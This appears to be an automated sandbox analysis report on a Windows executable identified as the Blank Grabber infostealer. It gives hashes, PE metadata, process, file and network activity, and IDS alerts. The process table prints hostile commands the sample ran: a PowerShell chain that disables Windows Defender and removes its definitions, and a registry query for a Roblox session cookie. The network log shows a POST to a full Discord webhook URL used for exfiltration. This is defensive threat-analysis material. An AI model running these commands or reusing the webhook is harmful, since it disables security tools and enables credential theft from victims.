| File name: | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe |
| Full analysis: | https://app.any.run/tasks/416c8161-ffeb-4c7e-8d1a-a7dfe1f117c0 |
| Verdict: | Malicious activity |
| Threats: | Blank Grabber is an infostealer written in Python. It is designed to steal a wide array of data, such as browser login credentials, crypto wallets, Telegram sessions, and Discord tokens. It is an open-source malware, with its code available on GitHub and regularly receiving updates. Blank Grabber builder’s simple interface lets threat actors even with basic skills to deploy it and conduct attacks. |
| Analysis date: | July 14, 2025, 15:34:47 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows, 7 sections |
| MD5: | 8AD59535590177941E3D815A746D989F |
| SHA1: | 027B05555384B637004CA84BB9B38F201BEBDE27 |
| SHA256: | D51AF11D4629DD6893E525E11C4656220911BB06EA6FBEF01D87B9DA5C26105C |
| SSDEEP: | 98304:lC3CpW1AsuDZYVFBmUzrz5OnaltQIpopubqDacTQNqQ4aRdxvqe/5next45UrcZA:Og0eypWIHlPZddAWNgL |
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2025:07:12 09:01:58+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.43 |
| CodeSize: | 174592 |
| InitializedDataSize: | 96768 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xd0d0 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 10.0.19041.5915 |
| ProductVersionNumber: | 10.0.19041.5915 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| CompanyName: | Microsoft Corporation |
| FileDescription: | Microsoft® Logon Server Test Utility |
| FileVersion: | 10.0.19041.5915 (WinBuild.160101.0800) |
| InternalName: | nltestrk.exe |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| OriginalFileName: | nltestrk.exe |
| ProductName: | Microsoft® Windows® Operating System |
| ProductVersion: | 10.0.19041.5915 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 316 | C:\WINDOWS\system32\cmd.exe /c "tasklist /FO LIST" | C:\Windows\System32\cmd.exe | — | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 728 | systeminfo | C:\Windows\System32\systeminfo.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Displays system information Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 856 | wmic csproduct get uuid | C:\Windows\System32\wbem\WMIC.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: WMI Commandline Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1132 | tasklist /FO LIST | C:\Windows\System32\tasklist.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Lists the current running tasks Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1204 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1208 | C:\WINDOWS\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" | C:\Windows\System32\cmd.exe | — | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1512 | C:\WINDOWS\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" | C:\Windows\System32\cmd.exe | — | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1636 | "C:\Users\admin\Desktop\2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe" | C:\Users\admin\Desktop\2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | — | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Logon Server Test Utility Exit code: 0 Version: 10.0.19041.5915 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1728 | tree /A /F | C:\Windows\System32\tree.com | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Tree Walk Utility Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1984 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (4680) 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Multimedia\DrawDib |
| Operation: | write | Name: | 1280x720x32(BGR 0) |
Value: 31,31,31,31 | |||
| (PID) Process: | (7908) TiWorker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing |
| Operation: | write | Name: | SessionIdHigh |
Value: 31192276 | |||
| (PID) Process: | (7908) TiWorker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing |
| Operation: | write | Name: | SessionIdLow |
Value: | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4216 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | C:\Users\admin\AppData\Local\Temp\_MEI42162\_queue.pyd | executable | |
MD5:DECDABACA104520549B0F66C136A9DC1 | SHA256:9D4880F7D0129B1DE95BECD8EA8BBBF0C044D63E87764D18F9EC00D382E43F84 | |||
| 4216 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | C:\Users\admin\AppData\Local\Temp\_MEI42162\libcrypto-1_1.dll | executable | |
MD5:DFFCAB08F94E627DE159E5B27326D2FC | SHA256:135B115E77479EEDD908D7A782E004ECE6DD900BB1CA05CC1260D5DD6273EF15 | |||
| 4216 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | C:\Users\admin\AppData\Local\Temp\_MEI42162\_decimal.pyd | executable | |
MD5:A8952538E090E2FF0EFB0BA3C890CD04 | SHA256:C4E8740C5DBBD2741FC4124908DA4B65FA9C3E17D9C9BF3F634710202E0C7009 | |||
| 4216 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | C:\Users\admin\AppData\Local\Temp\_MEI42162\_lzma.pyd | executable | |
MD5:3798175FD77EDED46A8AF6B03C5E5F6D | SHA256:3C9D5A9433B22538FC64141CD3784800C567C18E4379003329CF69A1D59B2A41 | |||
| 4216 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | C:\Users\admin\AppData\Local\Temp\_MEI42162\VCRUNTIME140.dll | executable | |
MD5:4585A96CC4EEF6AAFD5E27EA09147DC6 | SHA256:A8F950B4357EC12CFCCDDC9094CCA56A3D5244B95E09EA6E9A746489F2D58736 | |||
| 4216 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | C:\Users\admin\AppData\Local\Temp\_MEI42162\_socket.pyd | executable | |
MD5:BCC3E26A18D59D76FD6CF7CD64E9E14D | SHA256:4E19F29266A3D6C127E5E8DE01D2C9B68BC55075DD3D6AABE22CF0DE4B946A98 | |||
| 4216 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | C:\Users\admin\AppData\Local\Temp\_MEI42162\blank.aes | binary | |
MD5:5354D0251B2CD3963AEC0E90BDFCB4AA | SHA256:BF5BF99DD61913B3E363A2170B032BF389FDCA7C2E406CE99125B24181E2F105 | |||
| 4216 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | C:\Users\admin\AppData\Local\Temp\_MEI42162\python311.dll | executable | |
MD5:5792ADEAB1E4414E0129CE7A228EB8B8 | SHA256:7E1370058177D78A415B7ED113CC15472974440D84267FC44CDC5729535E3967 | |||
| 4216 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | C:\Users\admin\AppData\Local\Temp\_MEI42162\libffi-8.dll | executable | |
MD5:08B000C3D990BC018FCB91A1E175E06E | SHA256:135C772B42BA6353757A4D076CE03DBF792456143B42D25A62066DA46144FECE | |||
| 4216 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | C:\Users\admin\AppData\Local\Temp\_MEI42162\_bz2.pyd | executable | |
MD5:2D461B41F6E9A305DDE68E9C59E4110A | SHA256:ABBE3933A34A9653A757244E8E55B0D7D3A108527A3E9E8A7F2013B5F2A9EFF4 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 204 | 142.250.184.195:443 | https://gstatic.com/generate_204 | unknown | — | — | unknown |
4680 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/json/?fields=225545 | unknown | — | — | whitelisted |
— | — | POST | 500 | 40.91.76.224:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
— | — | POST | 500 | 13.77.207.86:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | — | — | whitelisted |
— | — | POST | 404 | 162.159.136.232:443 | https://discord.com/api/webhooks/1393517475835936858/oS6L0DaP_rFMFYHoX7f_xVG2ji3Ztsd-Pw9R1tiE5iEPrpJrekdQwuxpLxjNANhZqwUT | unknown | binary | 45 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4680 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | 216.58.206.35:443 | gstatic.com | GOOGLE | US | whitelisted |
4680 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | 208.95.112.1:80 | ip-api.com | TUT-AS | US | whitelisted |
4680 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | 162.159.138.232:443 | discord.com | CLOUDFLARENET | — | whitelisted |
6256 | slui.exe | 40.91.76.224:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
3880 | slui.exe | 40.91.76.224:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
gstatic.com |
| whitelisted |
ip-api.com |
| whitelisted |
discord.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
4680 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup ip-api.com |
2200 | svchost.exe | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
2200 | svchost.exe | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Check (ip-api .com) |
2200 | svchost.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com) |
2200 | svchost.exe | Misc activity | ET INFO Discord Chat Service Domain in DNS Lookup (discord .com) |
4680 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | A Network Trojan was detected | STEALER [ANY.RUN] BlankGrabber (SkochGrabber) Generic External IP Check |
4680 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
4680 | 2025-07-14_8ad59535590177941e3d815a746d989f_black-basta_cobalt-strike_luca-stealer_satacom_vidar.exe | Misc activity | ET INFO Observed Discord Service Domain (discord .com) in TLS SNI |